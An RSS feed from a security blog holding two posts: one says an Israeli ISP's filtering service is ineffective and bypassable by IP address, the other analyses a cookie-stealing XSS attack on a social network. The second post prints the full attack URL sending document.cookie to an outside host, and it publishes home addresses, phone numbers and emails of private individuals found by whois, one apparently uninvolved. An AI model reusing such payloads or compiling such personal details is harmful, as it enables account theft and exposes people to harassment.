<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Recognize-Security &#187; Articles</title>
	<atom:link href="http://www.rec-sec.com/category/articles/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rec-sec.com</link>
	<description>a non-profit information security web site authored by Moshe Ben Abu (Trancer), focusing on vulnerability research, exploit development (mainly for the Metasploit Framework), web application security, information security and hacking news from around the world.</description>
	<lastBuildDate>Tue, 22 Mar 2011 00:09:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
<cloud domain='www.rec-sec.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com" />
	<atom:link rel="hub" href="http://superfeedr.com/hubbub" />
			<item>
		<title>Why Bezeq Int SafeNet Service is Useless</title>
		<link>http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/</link>
		<comments>http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 18:37:08 +0000</pubDate>
		<dc:creator>Trancer</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Security News]]></category>

		<guid isPermaLink="false">http://www.rec-sec.com/?p=781</guid>
		<description><![CDATA[Hello readers. In this post I&#8217;d like to talk about Bezeq International SafeNet service. Bezeq Int is the most common ISP in Israel and like most of the ISP&#8216;s out there, Bezeq Int offer their customers a security service called SafeNet, which they recommend users to buy so they could surf the web in a [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Bezeq International" width="204" height="93" class="left" src="http://www.rec-sec.com/images/bezeqint.png" />Hello readers. In this post I&#8217;d like to talk about Bezeq International SafeNet service. Bezeq Int is the most common <abbr title="Internet Service Provider">ISP</abbr> in Israel and like most of the <abbr title="Internet Service Provider">ISP</abbr>&#8216;s out there, Bezeq Int offer their customers a security service called SafeNet, which they recommend users to buy so they could surf the web in a safer manner.</p>
<p>As stated on <a href="http://www.bezeqint.net/SafeNet.html" title="Bezeq International - SafeNet">Bezeq Int SafeNet page</a> (and <a href="http://www.bezeqint.net/Page.aspx?cc=010101020101" title="Bezeq International - SafeNet details">details</a>), this service cost 13.90 <abbr title="Israeli New Shekel">NIS</abbr> a month and should be some kind of content filtering system, providing users protection from Malware (viruses, worms, trojan horses, spyware), <abbr title="Hyper Text Markup Language">HTML</abbr> exploits, malicious Activ-X and JAVA code, Fishing web sites and more (note I deliberately misspelled the definitions, that&#8217;s how it&#8217;s wrote on the SafeNet service specification page).</p>
<p>Well, after running a series of tests I can surly say Bezeq Int SafeNet service provide non of these protections what so ever. In fact, it doesn&#8217;t provide any sort of active protection. The only protection SafeNet service provides is blocking supposedly malicious web sites using an out-of-date domain names blacklist.</p>
<p>For example, trying to access <a href="http://www.packetstormsecurity.org/" title="packet storm">Packet Storm Security</a> web site will result in a redirection to a Bezeq Int domain, displaying this SafeNet message:<br />
<a href="http://www.rec-sec.com/images/screenshots/safenet.png" title="Bezeq Int SafeNet message" rel="lightbox"><img width="387" height="326" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/safenet.png" alt="Bezeq Int SafeNet message" /></a><br />
<small>Click to enlarge.</small></p>
<p>The SafeNet service blacklist doesn&#8217;t include <a href="http://milw0rm.com/" title="milw0rm - exploits : vulnerabilities : videos : papers : shellcode" class="broken_link">milw0rm</a> and other hacking related web sites. I even ran test against active Malware serving pages, Phishing web sites and rouge Anti-Virus sites, non of which have been blocked by Bezeq Int SafeNet service.</p>
<p>Furthermore, the SafeNet service domain blacklist function can be bypassed rather easily. It is possible to access blacklisted domains using their <abbr title="Internet Protocol">IP</abbr> addresses:<br />
<a href="http://www.rec-sec.com/images/screenshots/packetstorm.png" title="Packet Storm Security" rel="lightbox"><img width="387" height="326" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/packetstorm.png" alt="Packet Storm Security" /></a><br />
<small>Click to enlarge.</small></p>
<p>In conclusion, Bezeq Int SafeNat service provide users no affective protection against any kind of threat and Bezeq Int doesn&#8217;t provide their customers any of the promised functions stated on the SafeNet service specification.<br />
In my opinion, Bezeq Int SafeNet service is a total rip-off and if you are registered to it I recommend you&#8217;d cancel the service immediately.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>The Case of a TinyURL in Mekusharim</title>
		<link>http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/</link>
		<comments>http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 13:19:29 +0000</pubDate>
		<dc:creator>Trancer</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.rec-sec.com/?p=344</guid>
		<description><![CDATA[First of all, if you don&#8217;t know what Mekusharim is, here&#8217;s a little introduction: Mekusharim is an Israeli social network founded in 2005 by three ambitious guys and currently have more then 1 million registered users. It&#8217;s very similar to any standard social network, it have users profile pages, albums, videos, mailing system and articles, [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Mekusharim" width="240" height="119" class="left" src="http://www.rec-sec.com/images/mekusharim_logo.png" />First of all, if you don&#8217;t know what Mekusharim is, here&#8217;s a little introduction:<br />
<a href="http://www.mekusharim.co.il/" title="Mekusharim - Social Network">Mekusharim</a> is an Israeli social network founded in 2005 by three ambitious guys and currently have more then 1 million registered users. It&#8217;s very similar to any standard social network, it have users profile pages, albums, videos, mailing system and articles, pools and forums sections.<br />
Recently <a href="http://www.globes.co.il/news/docview.aspx?did=1000437376&#038;fid=594" title="Globes - Walla! enlarge its share of Mekusharim social network to 70 percent of a 12.5 million NIS worth">Walla! acquired</a> additional 36 percent of Mekusharim in 4.5 million <abbr title="New Israeli Shekel">NIS</abbr> (out of 12.5 million <abbr title="New Israeli Shekel">NIS</abbr> value assessment), giving <a href="http://www.walla.co.il/" title="Walla!">Walla!</a> a total of 70 percent share holding of Mekusharim.<br />
I&#8217;ve had the pleasure of working with the Mekusharim guys on various security issues since 2006, mostly on finding and help fixing web application vulnerabilities.<br />
Like most of the social networks out there, Mekusharim is a great platform for attackers to spread their malware and reach a high amount of users in a short period of time, take <a href="http://namb.la/popular/tech.html" title="Technical explanation of The MySpace Worm">Samy</a> of <a href="http://www.myspace.com/" title="MySpace | A Place for Friends">MySpace</a> for example.<br />
The first time I contacted Mekusharim was right after I wrote a proof-of-concept web worm that can spread through the site, infecting users profile pages and stealing user cookies. It was written in two lines of JavaScript code and exploit a Cross-Site Scripting and a Cross-Site Request Forgery vulnerabilities.<br />
But that&#8217;s water under the bridge, Mekusharim have switched several systems (<abbr title="PHP: Hypertext Preprocessor">PHP</abbr> -&gt; <abbr title="Active Server Pages">ASP</abbr> -&gt; ASP.NET) and is much more secure nowadays. And if someone will try hacking it, I&#8217;ll be after the poor bastard :-)</p>
<p>Which brings us to the main subject of this post. Few days ago I got a mail message in Mekusharim from a friend user, that looks like this:<br />
<a href="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl1.png" title="Mekusharim TinyURL message" rel="lightbox"><img width="380" height="253" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl1.png" alt="Mekusharim TinyURL message" /></a><br />
<small>Click to enlarge.</small></p>
<p>As you can see, the message subject is &#8220;:)&#8221; and the message body contains a TinyURL link.<br />
Something smells fishy here&#8230; Previewing the link will discover that this is definitely a <abbr title="Cross-Site Scripting">XSS</abbr> attack:<br />
<a href="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl2.png" title="TinyURL preview" rel="lightbox"><img width="380" height="253" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl2.png" alt="TinyURL preview" /></a><br />
<small>Click to enlarge.</small></p>
<p>The TinyURL link redirects to:<br />
<code>http://www.mekusharim.co.il/forums/ForumsList.aspx?Display=1&#038;TagName='\';x=new%20Image();x.src="http://oritor.co.il/cgi-bin/mekusharim.php?cookie="%2Bdocument.cookie;//</code><br />
<a href="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl3.png" title="Cross-Site Scripting attack on Mekusharim" rel="lightbox"><img width="380" height="235" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl3.png" alt="Cross-Site Scripting attack on Mekusharim" /></a><br />
<small>Click to enlarge.</small></p>
<p>The <abbr title="Uniform Resource Locator">URL</abbr> exploits a <abbr title="Cross-Site Scripting">XSS</abbr> vulnerability in the forums system (<code>ForumsList.aspx</code> page, <code>TagName</code> parameter), sending the user cookie to the attacker pre-made page located at <code>oritor.co.il/cgi-bin/mekusharim.php</code>.</p>
<p>The first thing that crossed my mind is getting some information on <code>oritor.co.il</code> domain and his owner. Running a quick whois on the domain reveals a lot of useful information:<br />
<code><br />
domain:       oritor.co.il<br />
descr:        orit bokobza<br />
descr:        ezra 20<br />
descr:        rishon leztion<br />
descr:        75515<br />
descr:        Israel<br />
phone:        +972 50 8836620<br />
e-mail:       orit123 AT bezeqint.net<br />
admin-c:      LD-OB3906-IL<br />
tech-c:       LD-OB3906-IL<br />
zone-c:       LD-OB3906-IL<br />
nserver:      ns1.xoox.co.il<br />
nserver:      ns2.xoox.co.il<br />
validity:     16-12-2009<br />
status:       Transfer Locked<br />
changed:      domain-registrar AT isoc.org.il 20081216 (Assigned)<br />
person:       orit bokobza<br />
address:      ezra 20<br />
address:      rishon leztion<br />
address:      75515<br />
address:      Israel<br />
phone:        +972 50 8836620<br />
e-mail:       orit123 AT bezeqint.net<br />
nic-hdl:      LD-OB3906-IL<br />
changed:      domain-registrar AT isoc.org.il 20081216<br />
registrar name: LiveDns Ltd<br />
Registrar info: http://domains.livedns.co.il<br />
% Rights to the data above are restricted by copyright.<br />
</code></p>
<p>The domain <code>oritor.co.il</code> is registered to Orit Bokobza from Ezra 20 street, Rishon Leztion. Orit cellular phone number is 0508836620 (Pelephone) and she registered the domain using her <abbr title="Internet Service Provider">ISP</abbr> email address, which reveal that she&#8217;s registered to Bezeq International <abbr title="Internet Service Provider">ISP</abbr> under the username <code>orit123</code>. We also see that the site <abbr title="Domain Name System">DNS</abbr> is registered to <code>xoox.co.il</code> NS servers, we&#8217;ll get to that later.<br />
Digging deeper using <a href="http://www.b144.co.il/">b144.co.il</a>, searching Orit Bokobza from Rishon Leztion gives one identical match (same address and house number), reveal she have another cellular phone number &#8211; 0545455382 (Orange):<br />
<a href="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl4.png" title="b144 search" rel="lightbox"><img width="380" height="253" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl4.png" alt="b144 search" /></a><br />
<small>Click to enlarge.</small></p>
<p>b144 also gives us a map to the house and a picture of the house itself:<br />
<a href="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl5.png" title="b144 map and house picture" rel="lightbox"><img width="327" height="175" style="border-width:0" src="http://www.rec-sec.com/images/screenshots/mekusharim_tinyurl5.png" alt="b144 map and house picture" /></a><br />
<small>Click to enlarge.</small></p>
<p>Cool.<br />
Digging further, Googling her <a href="http://www.google.com/search?q=orit123+bezeqint.net" title="orit123 bezeqint.net - Google Search">email address</a> and retrieving additional information from her web site and posts from forums she&#8217;s active in reveals that she&#8217;s some kind of personal holistic trainer and has master in energetic healing.<br />
At this point I&#8217;m quite sure that she&#8217;s got nothing to do with this <abbr title="Cross-Site Scripting">XSS</abbr> attack on Mekusharim but it&#8217;s a good place to start investigating and tracking down the attacker. My guess is that her site is being used by the attacker who compromised the hosting server.<br />
Let&#8217;s take a look at what web sites is hosted on the same server using <a href="http://www.live.com/" title="Live Search">Live Search</a> <code>ip:</code> search feature:<br />
<a href="http://search.live.com/results.aspx?q=ip:91.198.129.47" title="ip:91.198.129.47 - Live Search">http://search.live.com/results.aspx?q=ip:91.198.129.47</a></p>
<p>We see that this hosting server also host <code>xoox.co.il</code> which is the same <code>oritor.co.il</code> site <abbr title="Domain Name System">DNS</abbr> provider as resolved from the whois. Something tells me the holistic master got no technical skills at all so <code>xoox.co.il</code> administrator will be a better person to talk to and get additional information about the <abbr title="Cross-Site Scripting">XSS</abbr> attack.<br />
Running whois on <code>xoox.co.il</code>:<br />
<code><br />
domain:       xoox.co.il<br />
descr:        Shlomi Rabia<br />
descr:        Agibor Almoni 13<br />
descr:        Tel Aviv<br />
descr:        67421<br />
descr:        Israel<br />
phone:        +972 50 7809313<br />
e-mail:       xoox AT bezeqint.net<br />
admin-c:      II-SR5955-IL<br />
tech-c:       II-SR5955-IL<br />
zone-c:       II-SR5955-IL<br />
nserver:      ns1.xoox.co.il<br />
nserver:      ns10.rehost.co.il<br />
validity:     14-10-2010<br />
status:       Transfer Allowed<br />
changed:      domain-registrar AT isoc.org.il 20041014 (Assigned)<br />
changed:      domain-registrar AT isoc.org.il 20041017 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20041229 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20070510 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20070805 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20070809 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20080731 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20080731 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20080804 (Changed)<br />
changed:      domain-registrar AT isoc.org.il 20081026 (Changed)<br />
person:       Shlomi Rabia<br />
address:      Agibor Almoni 13<br />
address:      Tel Aviv<br />
address:      67421<br />
address:      Israel<br />
e-mail:       xoox AT bezeqint.net<br />
nic-hdl:      II-SR5955-IL<br />
changed:      domain-registrar AT isoc.org.il 20041014<br />
registrar name: Israel Internet Association ISOC-IL<br />
Registrar info: www.isoc.org.il<br />
% Rights to the data above are restricted by copyright.<br />
</code></p>
<p>This provide enough information for the right person to contact and conduct further investigation.</p>
<p>I gave all this information to the Mekusharim guys few hours after the attack started, hope this is enough information they need to stop the attack as soon as possible. Meanwhile, the <abbr title="Cross-Site Scripting">XSS</abbr> vulnerability got fixed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

